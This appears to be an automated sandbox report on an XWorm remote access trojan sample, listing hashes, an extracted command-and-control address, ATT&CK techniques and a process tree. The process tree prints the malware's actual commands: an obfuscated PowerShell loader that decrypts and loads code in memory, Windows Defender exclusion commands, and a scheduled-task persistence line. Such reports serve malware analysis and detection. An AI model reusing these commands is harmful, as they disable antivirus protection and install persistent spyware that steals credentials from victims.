xworm | ea82130e3e378485534424ad42626003dd96189ae043c763e1502383f59de83a

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/10/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MB325992641AE.js
Size 498B
Sample261009-sd3p4sas2y
SHA256 ea82130e3e378485534424ad42626003dd96189ae043c763e1502383f59de83a
MD5 1515b9988e577f04b5529f9f9e45c995
SHA1 bb190941a541eb4b6e4fa2adb6353fece243971d
SHA512 51a5b7239e1af47a71d60c5c1c15a9bce80188c660e5b01381bbd964a0851cfdedccc9d88b0a10e7c39ae12f49b068453007f44ac7e3ac6206ee6917ce67d422
TLSH
T1B5F01C5662F94709A5B32F04A97150310A373F86EC78CB4C0575491D18E2E54C8B6BA3
MD5 SHA1 SHA512 TLSH

Score

10^/10

collection defense_evasion discovery execution xworm persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

84.38.133.22:1012

Mutex

SfqhTh3ld4Uyy1Rg

Attributes

Install_directory
%AppData%
install_file
bin.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4296-14-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4056	6140	powershell.exe	88

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	1840	wscript.exe
4	4056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1592	powershell.exe
5812	powershell.exe
4748	powershell.exe
6020	powershell.exe
4056	powershell.exe

System Binary Proxy Execution: Regsvcs/Regasm 1 TTPs 3 IoCs

Abuse Regasm to proxy execution of malicious code.

defense_evasion

Regsvcs/Regasm

T1218.009

description	ioc	Process
Key opened	\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\RegAsm.exe	powershell.exe
File created	\??\c:\Users\Admin\AppData\Local\Temp\RegAsm.exe	csc.exe
Key opened	\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\RegAsm.exe	RegAsm.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bin.lnk	RegAsm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bin.lnk	RegAsm.exe

Executes dropped EXE 4 IoCs

pid	Process
4372	bin.exe
6048	bin.exe
3848	RegAsm.exe
3188	bin.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\bin = "C:\\Users\\Admin\\AppData\\Roaming\\bin.exe"	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4056 set thread context of 4296	4056	powershell.exe	91

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	RegAsm.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RegAsm.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4780	schtasks.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4056	powershell.exe
4056	powershell.exe
1592	powershell.exe
1592	powershell.exe
5812	powershell.exe
5812	powershell.exe
4748	powershell.exe
4748	powershell.exe
6020	powershell.exe
6020	powershell.exe
4296	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
4296	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe
3848	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	4296	RegAsm.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeIncreaseQuotaPrivilege	1592	powershell.exe
Token: SeSecurityPrivilege	1592	powershell.exe
Token: SeTakeOwnershipPrivilege	1592	powershell.exe
Token: SeLoadDriverPrivilege	1592	powershell.exe
Token: SeSystemProfilePrivilege	1592	powershell.exe
Token: SeSystemtimePrivilege	1592	powershell.exe
Token: SeProfSingleProcessPrivilege	1592	powershell.exe
Token: SeIncBasePriorityPrivilege	1592	powershell.exe
Token: SeCreatePagefilePrivilege	1592	powershell.exe
Token: SeBackupPrivilege	1592	powershell.exe
Token: SeRestorePrivilege	1592	powershell.exe
Token: SeShutdownPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeSystemEnvironmentPrivilege	1592	powershell.exe
Token: SeRemoteShutdownPrivilege	1592	powershell.exe
Token: SeUndockPrivilege	1592	powershell.exe
Token: SeManageVolumePrivilege	1592	powershell.exe
Token: 33	1592	powershell.exe
Token: 34	1592	powershell.exe
Token: 35	1592	powershell.exe
Token: 36	1592	powershell.exe
Token: SeDebugPrivilege	5812	powershell.exe
Token: SeIncreaseQuotaPrivilege	5812	powershell.exe
Token: SeSecurityPrivilege	5812	powershell.exe
Token: SeTakeOwnershipPrivilege	5812	powershell.exe
Token: SeLoadDriverPrivilege	5812	powershell.exe
Token: SeSystemProfilePrivilege	5812	powershell.exe
Token: SeSystemtimePrivilege	5812	powershell.exe
Token: SeProfSingleProcessPrivilege	5812	powershell.exe
Token: SeIncBasePriorityPrivilege	5812	powershell.exe
Token: SeCreatePagefilePrivilege	5812	powershell.exe
Token: SeBackupPrivilege	5812	powershell.exe
Token: SeRestorePrivilege	5812	powershell.exe
Token: SeShutdownPrivilege	5812	powershell.exe
Token: SeDebugPrivilege	5812	powershell.exe
Token: SeSystemEnvironmentPrivilege	5812	powershell.exe
Token: SeRemoteShutdownPrivilege	5812	powershell.exe
Token: SeUndockPrivilege	5812	powershell.exe
Token: SeManageVolumePrivilege	5812	powershell.exe
Token: 33	5812	powershell.exe
Token: 34	5812	powershell.exe
Token: 35	5812	powershell.exe
Token: 36	5812	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeIncreaseQuotaPrivilege	4748	powershell.exe
Token: SeSecurityPrivilege	4748	powershell.exe
Token: SeTakeOwnershipPrivilege	4748	powershell.exe
Token: SeLoadDriverPrivilege	4748	powershell.exe
Token: SeSystemProfilePrivilege	4748	powershell.exe
Token: SeSystemtimePrivilege	4748	powershell.exe
Token: SeProfSingleProcessPrivilege	4748	powershell.exe
Token: SeIncBasePriorityPrivilege	4748	powershell.exe
Token: SeCreatePagefilePrivilege	4748	powershell.exe
Token: SeBackupPrivilege	4748	powershell.exe
Token: SeRestorePrivilege	4748	powershell.exe
Token: SeShutdownPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeSystemEnvironmentPrivilege	4748	powershell.exe
Token: SeRemoteShutdownPrivilege	4748	powershell.exe
Token: SeUndockPrivilege	4748	powershell.exe
Token: SeManageVolumePrivilege	4748	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 4296	4056	powershell.exe	91
PID 4056 wrote to memory of 4296	4056	powershell.exe	91
PID 4056 wrote to memory of 4296	4056	powershell.exe	91
PID 4056 wrote to memory of 4296	4056	powershell.exe	91
PID 4056 wrote to memory of 4296	4056	powershell.exe	91
PID 4296 wrote to memory of 1592	4296	RegAsm.exe	92
PID 4296 wrote to memory of 5812	4296	RegAsm.exe	95
PID 4296 wrote to memory of 4748	4296	RegAsm.exe	97
PID 4296 wrote to memory of 6020	4296	RegAsm.exe	99
PID 4296 wrote to memory of 4780	4296	RegAsm.exe	101
PID 4296 wrote to memory of 2968	4296	RegAsm.exe	108
PID 2968 wrote to memory of 2888	2968	csc.exe	110
PID 4296 wrote to memory of 3848	4296	RegAsm.exe	111

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\MB325992641AE.js
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
PID:1840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "$inhable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$exhereditation=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$channidae=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$pessulus=[Convert]::FromBase64String($inhable);$tuchun=[Security.Cryptography.Aes]::Create();$tuchun.Key=$exhereditation;$tuchun.IV=$channidae;$ephthianura=$tuchun.CreateDecryptor();$broadenings=$ephthianura.TransformFinalBlock($pessulus,0,$pessulus.Length);[AppDomain]::CurrentDomain.Load($broadenings)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('OODv4qbhZtFIF6dJ+VGNMLZCVD9ZS7iJ90WOSbQl6S9SSZuKe0b3jWo3BdR7RGg2HugABGK1WcwsvU9z8MqAFw==','','hx5iS/zkENu5XFfbeUifJGAFgEicHqsy6VTaYYTPqTVI2IbGLZwNYSzAgNyIY9M5','oLEyljNs2nNiy9RGr4kuR4UyuOtr6guPjEy6mwBxEVA=','FDECw4WbZOg9cP5ZOR32VTKXpQTYMdQrwYvQO8fGEYk=','','7YqeAubt2QKVnrmM0eMIw/p7hN2Ne0T06+Bu8l12Q+s=','','C+YjHKVmcFQ+UH3K0oTWdeaW+yjzl2leDs4JJeYwtcE=','77zmUCJmSjZeJf0BdeZDY8zvznc2vmKw7Y7TehPemDkpfdKE2GR/a14SveatrHss','omeS8prpQk6iMv3NDSLauz3T7HPpcTszAlN09SGe2qA=','8HwjFbfEiq9Q2GN592VtFSKrmXhHdP59pqspX2ClvTo=','AO5dAnfr0twO7UcKRuqohZ2RIIwFypjbmvVF7VEQEuA=','','NSzrXr5qk2+k8bQI0K2wf7I1KAp0QDggbdcMcJMW0S8=','gD2yahx5L8oKT5kzVHzCEu7ARruFcss8by3BcuUXXHQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Binary Proxy Execution: Regsvcs/Regasm
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - System Binary Proxy Execution: Regsvcs/Regasm
  - Creates a file in the Startup directory
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4296
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1592
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegAsm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5812
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\bin.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4748
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'bin.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:6020
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "bin" /tr "C:\Users\Admin\AppData\Roaming\bin.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4780
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_26738a6067124042b3f2a42babd9a065.cs"
    3⤵
    - System Binary Proxy Execution: Regsvcs/Regasm
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8E28.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9105816C1593458590C54BCC9D6BE76.TMP"
      4⤵
      PID:2888
- - C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
    "C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" 4296
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3848

C:\Users\Admin\AppData\Roaming\bin.exe
C:\Users\Admin\AppData\Roaming\bin.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4372

C:\Users\Admin\AppData\Roaming\bin.exe
"C:\Users\Admin\AppData\Roaming\bin.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6048

C:\Users\Admin\AppData\Roaming\bin.exe
"C:\Users\Admin\AppData\Roaming\bin.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3188

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Regsvcs/Regasm

T1218.009

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Video Capture

T1125

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 42ab7590736b5fb15dcb308682d45911e61dc638bfd3a24ef76fb9416ec96ebe
MD5 581bf4cca4517740e32b7ba42b7504c8
SHA1 dd032cfae879e21e929548c332a128287e237897
SHA512 d2c04b8637591a1f7eee26559204760af7d153df0e217c48d179b0d645f3c8ab4e5d97de5faaf6cd57a9d676502a4d8490a05df0b5434fb6bbf2d5659e3b6b7b
TLSH
T19F117673F3CC8254DC5A403A50CDAD1136B687CB41DECE5B7BC4C154A43F599CEA0260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 e6185863af115841c1270cfb9f37d2e2d420450361098890be4bc03fa4c1c9d2
MD5 7d6c08eed8bd1a09657d3fdf0948bbf8
SHA1 9c50ef962e657d68514e196637b9eb7f91edb0e3
SHA512 1df6b2c3c02a509578203375347025399f875123b4c88f8a23664c13eb046384aa868a0258e572371507c33927ace49533b6be783670915ee4e7d434bdff59a0
SSDEEP 384:41eBaoT1iBGAGW14be8UseAzrr2PnlIAXz48+tW3utzKwgvYbhNqPElRtrZRfyya:UexZ6GrWiq8FB6dIAXzX+NV/bhNqPsty
TLSH
T1E1A2B578213F6DC7D8D226B410D10AE7FBE4D489DAB611D4AF1BDE2F4C90EB64A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 ce60ee39010039b3f6329035e769cd0b6e4909dfbf5402e6bf550158a23967fc
MD5 21b8c66e39adaffef258ce5c21a04b06
SHA1 747c77ce148199cf1dd3d4a14f0171ea5171eb88
SHA512 50156cef08277e4548c0cb8bc68f58959b389af4bb2588fbf15d31900dde924a23ce52aaca6161d75c179d3583eb23308e616e57e4b02f4179232454e7718790
SSDEEP 384:NSEboT1iBGNihyXG8NZKCA2QXgnjWOEbDzdC0AIAXIIobCnVoaqB3KFpFv2HbhNp:D0Z6G0hQrNZKLNbFC0AIAXDNnVoaM6FM
TLSH
T11AA2F72D26AF89CFC89160B4108143C7FBF4E558A7E152DFAB4BC91F2C45A7D5A901F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 3a0ef04ea22091b647c2d8a75606fc79e5c4d25c835687dd01a61a346d65b1bc
MD5 c7a357066a864164c9cdba11c981ad72
SHA1 64ae67eac5f9d5852b5844957f2b6fda7547e97b
SHA512 4692eff3ea70593cfbc25302c99bfd75f7e486cbb8db6c321e7212440994dc3e45a400a864e75757b6e1bc54a20ab0572a8da0a93e33eb5ff17c4305c1901137
SSDEEP 384:lSEboT1iBGQiY2W2hAQilcoCKhG2PsiUDzdC0MIAXIIEbwoaqB3K6Kw81v2HbhiG:b0Z6GQiYJMAQilFnpUFC0MIAXDzoaM6C
TLSH
T120A2191D262F99CFC89062B41082438AFBF8D159E7E5919BEB4FC91F2C40A7E5E501F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES8E28.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8E28.tmp
Size 1KB
SHA256 d2d33cc97f7581d16aa91f59d1b9cf09556ef77114e3322e74f9089f0cb7fd0b
MD5 0bf9d53ce9890730cbe56985f6d90896
SHA1 46497c78634083848cc0e5c866e15894cd05a418
SHA512 924d4fd2b9045c5eb9def26713d52ee54a3f217d569e0f9c73114617b35ec4974e434636136d877f1df393f2c503cd850eb7fe8d966728775899f4a055de9901
TLSH
T1DF41254083DC4B1FE172473228F75729B678FE559EA9439EB488122F1E12740DD83672
MD5 SHA1 SHA512 TLSH

Submit Download

RegAsm.exe

Path C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
Size 5KB
SHA256 1a93b9de845ef5369eb32efa1c5712e0e4f4b7aa1bc6721ec0084ac890edce3f
MD5 b4e5d8534df7018b3055f8fc38e26738
SHA1 d6720ec2ac333692004d3120f51d15e7c3cb2ac1
SHA512 8b40311c3473dd8bdbe1ed00d130b2f487e9b5e4df328921b0a9b231a351c176d6655754b1eefcbc9572fa1b36a21bf88ced32e35c3248d89ba22b4f976e0eb9
SSDEEP 96:tdew7V9qOOogcO8BynqgHlNxAEb7yxkfzNt:tv2OOwOoyqgHjvb7rJ
TLSH
T1B1C1C48797DC4366E0620731B9B3035127B8E9125A6BABAF24F4133A6EB639008573F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_gtbcjplm.a5f.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gtbcjplm.a5f.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bin.exe

Path C:\Users\Admin\AppData\Roaming\bin.exe
Size 57KB
SHA256 613b37387daf3698df4a8baf6e4350473ebc3f23682d368221cd8dea9de2fb63
MD5 6e964aebbf00fe8e25bf28ce22734e44
SHA1 56953994707668803a070fbea09b56eca9c397ac
SHA512 e6c9824f62da64144e24b903b378abca663f171d3242bd647a45e35ae8305b689f01c2d2ed7b181e22e1b9db0b8c81a02993c7a451ea539f157f47254d855fc0
SSDEEP 768:S8XLJGvPvv7t+ZDJbn8dBhFwKoMF6Iq8yiYDKaLaN4eWF//dj9z9:Rwvnv7sfb8dBnPhsXDKaLaN4eWZz9
TLSH
T16F43D514A7E84316F6FB4BB2ADF5C0469936B553AD65D35C348D438D0B22384CA23BBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC9105816C1593458590C54BCC9D6BE76.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC9105816C1593458590C54BCC9D6BE76.TMP
Size 1KB
SHA256 bd34fc804bcc189e1fd1b627b7285791b619377024dedd44186a5b1ad672befa
MD5 97ec6b32eec4673a2550f2676ecbd6c8
SHA1 b606c06593f3f969cf98dba246111075b548a761
SHA512 b4679a83961e687b6b3d3a8f772e0be6f44b3edf072a585dd96a107d0bdeeda0b34f32d4397b520c4f8c24af54e4d395f497d59f1c07c6a61127f9c1d867d24b
TLSH
T15721AB41A2E8421EF2B34B7179F2C362A1ACBE568D7A43EC7488175F1F16900C5836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_26738a6067124042b3f2a42babd9a065.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_26738a6067124042b3f2a42babd9a065.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1592-36-0x00000000081B0000-0x000000000882C000-memory.dmp

Download

memory/1592-29-0x0000000006A50000-0x0000000006A9C000-memory.dmp

Download

memory/1592-39-0x0000000007DE0000-0x0000000007E76000-memory.dmp

Download

memory/1592-38-0x0000000007BE0000-0x0000000007BEA000-memory.dmp

Download

memory/1592-37-0x0000000007B70000-0x0000000007B8A000-memory.dmp

Download

